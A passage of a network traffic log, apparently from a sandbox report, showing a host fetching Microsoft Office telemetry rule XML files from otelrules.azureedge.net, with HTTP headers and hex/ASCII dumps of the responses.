2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-185f5d8b95ctl8xlhC1NYCn94g00000009u000000000262p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	62448	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-185f5d8b95crl6swhC1NYC3ueg00000009pg00000000xq7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	62449	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-185f5d8b95cwtv72hC1NYC141w00000009ng0000000036w2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	62450	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-185f5d8b95c68cvnhC1NYCfn7s00000009ng00000000dhek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	62451	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-185f5d8b95ckwnflhC1NYCx9qs00000009qg00000000f26n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	62452	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-1777c6cb754mqztshC1TEB4mkc00000008z000000000nsze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	62453	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:12 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030812Z-1777c6cb754rz2pghC1TEBghen00000008xg000000009gks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	62454	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:13 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030813Z-185f5d8b95cdh56ghC1NYCk1x400000003kg000000002e7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	62457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:13 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030813Z-185f5d8b95cgrrn8hC1NYCgwh400000009mg0000000002aw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	62456	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:13 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030813Z-1777c6cb7544n7p6hC1TEByvb4000000095g000000008wew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	62455	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:13 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030813Z-1777c6cb7549x5qchC1TEBggbg0000000940000000005mvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	62458	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030813Z-r1d97b99577dd2gchC1TEBz5ys000000080g00000000m6dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 